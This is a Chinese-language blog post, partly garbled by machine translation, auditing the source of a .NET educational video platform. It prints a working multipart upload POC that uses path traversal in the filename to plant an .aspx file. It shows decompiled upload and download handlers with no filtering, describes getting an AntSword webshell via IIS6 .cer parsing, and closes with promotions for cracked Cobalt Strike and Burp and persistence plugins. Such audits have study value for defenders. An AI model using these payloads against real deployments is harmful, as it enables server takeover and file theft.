原文链接:
0x00 前言
前段时间,申庆老师给我发了一个POC,是某教学视频应用云平台上的文件上传。 故事也从这里展开……
拿到POC后尝试一下,无意中找到了源码(真实纯安装源码)。 我把它拿到电脑上开始摆弄,但我完全困惑了。
由于之前没有接触过.net审计,所以向几位大师学习了.net审计方法,并拿到了他们的审计报告来学习。 由于这套代码比较简单,属于入门级,所以决定记录一下。
需要注意的是,目前发现的所有漏洞均已被官方修复! 请不要将其用于非法目的。 本文仅供学习。
0x01 前置知识
.net 是一个可以用 C#、F# 或 Basic 编写的框架。 它最初是微软用来对JAVA进行基准测试的。 相关语言学习可以查看官网:.NET编程语言| C#、F# 和 Basic ()
.net中通常使用C#语言来编写。 通常可以通过查看一个网站的后缀来判断它是否是.net网站。 ASPX 是一个 .net 网站。 当我们拿到.net源代码时,我们要了解每个C#文件的含义是什么? 了解如何审核、有哪些工具以及如何查看路由。
C#文件后缀的作用及位置
.aspx:
。CS:
.aspx.cs:
.ascx:
.asmx:
.asax:
。肥皂:
.dll:
由此我们可以看出dll、aspx、aspx.cs这三个文件是我们需要关注的。
在典型的 ASP.NET Web 应用程序中,.dll、.aspx 和 .aspx.cs 文件通常分布在不同的目录中:
.dll 文件:
.aspx 文件:
.aspx.cs 文件:
例如,一个简单的目录结构可能如下所示:
/YourWebApp
/bin
YourWebApp.dll
/Pages
Home.aspx
Home.aspx.cs
/App\_Code
CommonFunctions.cs
Web.config
在这个例子中:
反编译工具ILSpy
前面提到,我们的核心代码内容是存在于dll中的,那么我们应该如何查看呢? 这里我们推荐使用一个叫做ILSpy的工具。 该工具可以反编译dll文件并查看其内部代码内容。 使用内码内容也非常方便。 所有代码均导出为普通 .cs。
官方仓库链接:/ILSpy: .NET with for PDB , , (&more) - 交叉! ()
这里可以将dll文件导入到左上角的文件中
aspx文件内容分析
通常当我们打开一个aspx文件时,第一行会是这样的:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="MyPage.aspx.cs" Inherits="MyWebApp.MyPage" %>
这是一个ASP.NET网页指令(),用于指定页面中的一些重要属性和配置
分析如下:
通过此指令,ASP.NET 可以正确处理页面,编译代码文件,然后将其与页面关联。这使得与 .aspx.cs 文件关联的服务器端代码可以在 .aspx 页面中使用
在一般的.NET代码中,我们需要特别注意(继承)部分,它会指向我们需要查找的dll。 例如,前面的示例可能指向 .dll。 在 .dll 中搜索
0x02 Poc—Nday前台上传
POST /Tools/Video/VideoCover.aspx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insectre-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 1015 7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/107.0.0.0 Safari 537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avifimage/webp,image/apng,*/*;q=0.8,application/signed-exchangev=b3;q=0.9
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;g=0.9
cookie: ASP.NET_SessionId=pgfnw0patx4kh0jsnpjgzcmq; PrivateKey=f09020eaf656f9cf5d9292d39c296d1c
Connection: close
Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryVBf7Cs8QWsfwC82M
Content-Length: 294
------WebKitFormBoundaryVBf7Cs8QWsfwC82M
Content-Disposition: form-data, name= "file";filename="/../../../AVA.ResourcesPlatform.WebUI/test.aspx"
Content-Type: image/jpeg
<%@Page Language="C#"%>
<%
Response.Write("test");
%>
------WebKitFormBoundaryVBf7Cs8QWsfwC82M--
根据POC,在根目录的Tools/Video下找到.aspx
这个指向AVA...类,该属性告诉ASP.NET这个页面将使用指定类中的代码。这里也说的是该页面继承自AVA...类
所以我们进入bin目录,找到AVA...dll
把这个dll直接扔进ILSpy反编译,在左栏找到对应的
扔掉代码看看为什么存在文件上传
using System;
using System.IO;
using System.Web;
using System.Web.UI;
public class UploadFile : Page
{
protected void Page\_Load(object sender, EventArgs e)
{
if (base.Request.Files.Count <= 0)
{
return;
}
try
{
HttpPostedFile httpPostedFile = base.Request.Files\[0\];
string fileName = httpPostedFile.FileName;
string text = base.Request.QueryString\["VideoGuid"\];
string text2 = base.Server.MapPath("~/Upload/Video/" + text + "/");
if (!Directory.Exists(text2))
{
Directory.CreateDirectory(text2);
}
text2 += httpPostedFile.FileName;
httpPostedFile.SaveAs(text2);
base.Response.Clear();
base.Response.Write("Success");
}
catch (Exception ex)
{
base.Response.Clear();
base.Response.Write(ex.Message);
}
}
}
首先在一开始导入四个命名空间
使用 ;:
使用.IO;:
使用.Web;:
使用.Web.UI;:
随着使用.IO; 语句,可以直接使用File、File等类,无需编写.IO。 或.IO.文件。 这四个库是.NET的一部分并附带的(.NET是.NET开发的面向操作系统的软件开发框架,其中包含大量的类库和运行时环境,以支持和简化应用程序和Web应用程序的开发.这个框架是操作系统默认安装的。)
然后就可以使用该方法了。 该方法是页面加载时触发的事件。 该方法首先使用
if (base.Request.Files.Count <= 0)
{
return;
}
判断文件是否已上传,如果没有文件上传,则直接返回
当文件上传时,会处理上传的文件
获取第一个上传的文件:
HttpPostedFile httpPostedFile = base.Request.Files\[0\];
从上传的文件中获取文件名:
string fileName = httpPostedFile.FileName;
从查询字符串中获取名为“”的参数:
string text = base.Request.QueryString\["VideoGuid"\];
进行目录拼接,然后判断文件夹是否存在。 如果不存在,请创建一个。
if (!Directory.Exists(text2))
{
Directory.CreateDirectory(text2);
}
最后拼接成文件路径并通过text2保存成功返回。
text2 += httpPostedFile.FileName;
httpPostedFile.SaveAs(text2);
base.Response.Clear();
base.Response.Write("Success");
这是简单的分析,不提以后如何使用。
至于为什么这里需要跨目录上传而不能直接上传,是因为这个系统的目录结构是
xxx.WebUI
xxx.AdminUI /我们这次分析的dll在这个目录下
上传到前端需要跨目录。
所以总结一下,漏洞产生的原因是文件上传没有限制,文件拼接时没有做过滤,导致运行../?时出现跨目录遍历。
0x03 前端上传审核
通过ILSpy反编译所有dll并保存这些c。 文件上传的审核方法是通过搜索关键词快速定位。 我问一个家伙审核的时候要找什么关键词,他立马抛出了两个常用的文件上传。 关键字.Write and
于是我很快就找到了AVA...
反向搜索看看谁引用了AVA......
可以看到是 ///.aspx
简要分析
using System;
using System.IO;
using System.Web;
using System.Web.UI;
public class UploadFile : Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (base.Request.Files.Count <= 0)
{
return;
}
try
{
HttpPostedFile httpPostedFile = base.Request.Files[0];
string fileName = httpPostedFile.FileName;
string text = base.Request.QueryString["VideoGuid"];
string text2 = base.Server.MapPath("~/Upload/Video/" + text + "/");
if (!Directory.Exists(text2))
{
Directory.CreateDirectory(text2);
}
text2 += httpPostedFile.FileName;
httpPostedFile.SaveAs(text2);
base.Response.Clear();
base.Response.Write("Success");
}
catch (Exception ex)
{
base.Response.Clear();
base.Response.Write(ex.Message);
}
}
}
此代码与之前的 POC 相同。 保存时会创建一个文件夹。
但是使用时发现上传aspx失败,更改后缀asp或cer时会出现403,于是我使用了创建文件夹的功能来创建文件夹?
此时访问显示500
蚁剑可以连接成功……我就不展示图了。
我这里也很困惑,为什么传过来的cer也能解析出来呢?
百度搜索后发现是IIS6.0文件解析缺陷(asa、cer、cdx)
默认情况下,IIS将其后缀名映射为asp.dll,而asp.dll是ASP脚本的解析文件,因此可以正常解析。
后来我用同样的方法找到了五个文件上传点,并成功复现了其中两个。
由于代码原理是一样的,我就不再重复示例了。
0x04 前台文件下载
有一个关键功能用于审核任意文件下载。 直接全局搜索
在AVA..WebUI下找到了这个功能。
把代码取下来分析一下,看看有没有过滤
using System;
using System.IO;
using System.Threading;
using System.Web;
using System.Web.UI;
using AVA.ResourcesPlatform.Config;
using AVA.ResourcesPlatform.Factory;
using AVA.ResourcesPlatform.Language;
using AVA.ResourcesPlatform.Model.Pub;
public class Download : Page
{
protected void Page_Load(object sender, EventArgs e)
{
string text = base.Request.GetFormValue("File").UrlDecode();
if (string.IsNullOrEmpty(text))
{
throw new Exception(LanguageEnum.未指明下载文件.Define());
}
string text2 = base.Server.MapPath("~" + text);
if (!File.Exists(text2))
{
throw new Exception(LanguageEnum.文件不存在.Define());
}
FileInfo fileInfo = new FileInfo(text2);
Domain domain = CreateInstance.DomainDao.Get(cookieGroupConfig.DomainGuid);
if (!ResponseFile(Page.Request, Page.Response, fileInfo.Name, fileInfo.FullName, domain.DownloadSpeed * 1024 * 1024))
{
base.Response.Write(LanguageEnum.下载文件出错.Define());
}
else
{
Page.Response.End();
}
}
public bool ResponseFile(HttpRequest hRequest, HttpResponse hResponse, string hfileName, string hfullPath, long hspeed)
{
try
{
Page.Response.Clear();
FileStream fileStream = new FileStream(hfullPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
BinaryReader binaryReader = new BinaryReader(fileStream);
try
{
hResponse.AddHeader("Accept-Ranges", "bytes");
hResponse.Buffer = false;
long length = fileStream.Length;
long num = 0L;
int num2 = 102400;
int millisecondsTimeout = (int)Math.Floor(1000.0 * (double)num2 / (double)hspeed) + 1;
if (hRequest.Headers["Range"] != null)
{
hResponse.StatusCode = 206;
string[] array = hRequest.Headers["Range"].Split('=', '-');
num = Convert.ToInt64(array[1]);
}
hResponse.AddHeader("Content-Length", (length - num).ToString());
if (num != 0)
{
hResponse.AddHeader("Content-Range", $" bytes {num}-{length - 1}/{length}");
}
hResponse.AddHeader("Connection", "Keep-Alive");
string text = null;
string text2 = Context.Request.UserAgent.ToUpper();
text = ((text2.Contains("MS") && text2.Contains("IE")) ? HttpUtility.UrlEncode(hfileName) : ((!text2.Contains("FIREFOX")) ? HttpUtility.UrlEncode(hfileName) : ("\"" + hfileName + "\"")));
base.Response.ContentType = "application/octet-stream ";
base.Response.AddHeader("Content-Disposition ", $"attachment;filename={text}");
binaryReader.baseStream.Seek(num, SeekOrigin.Begin);
int num3 = (int)Math.Floor(Convert.ToDouble((length - num) / num2)) + 1;
for (int i = 0; i < num3; i++)
{
if (hResponse.IsClientConnected)
{
hResponse.BinaryWrite(binaryReader.ReadBytes(num2));
Thread.Sleep(millisecondsTimeout);
}
else
{
i = num3;
}
}
}
catch
{
return false;
}
finally
{
binaryReader.Close();
fileStream.Close();
}
}
catch
{
return false;
}
return true;
}
}
首先,使用该方法获取参数 File 中的值并解码其 URL:
string text = base.Request.GetFormValue("File").UrlDecode();
然后检查是否获取到文件名。 如果没有,将会抛出异常。 然后使用text2将虚拟路径转换为物理路径,检查文件是否存在。 如果不存在,也会抛出同样的异常:
if (string.IsNullOrEmpty(text))
{
throw new Exception(LanguageEnum.未指明下载文件.Define());
}
string text2 = base.Server.MapPath("~" + text);
if (!File.Exists(text2))
{
throw new Exception(LanguageEnum.文件不存在.Define());
}
获取文件信息和域信息:
FileInfo fileInfo = new FileInfo(text2);
Domain domain = CreateInstance.DomainDao.Get(cookieGroupConfig.DomainGuid);
然后调用该方法下载文件
if (!ResponseFile(Page.Request, Page.Response, fileInfo.Name, fileInfo.FullName, domain.DownloadSpeed \* 1024 \* 1024))
显然,这里没有对传入的File进行任何过滤,直接拼接任意文件都可以下载。
这也是一种常规的文件下载方式,这里不再分析。
0x05 摘要
这套源码比较简单,几乎没有任何过滤。 主要入门方式就是了解反编译工具,控制器在哪里,关键函数的位置。
据说这个源码其他高手也审核过SSRF、未授权访问等,其他的我有时间再审核研究一下。
项目下载
公众号后台回复:3618,获取微信官方3618安装包下载链接。
公众号后台回复:cs45,获取.5下载链接。
公众号后台回复:cs49,获取.9原版jar破解下载链接。
公众号后台回复:权限维护,获取权限维护插件下载链接。
公众号后台回复:千寻,获取小爱同学修改后的千寻框架下载链接。
公众号后台回复:聊天,获取下载链接。
公众号后台回复:jboss,获取jboss应用工具下载链接。
公众号后台回复:若一,获取若一工具下载链接。
公众号后台回复:162,获取.2工具包下载链接。
公众号后台回复:burp,获取.9.1破解版下载链接。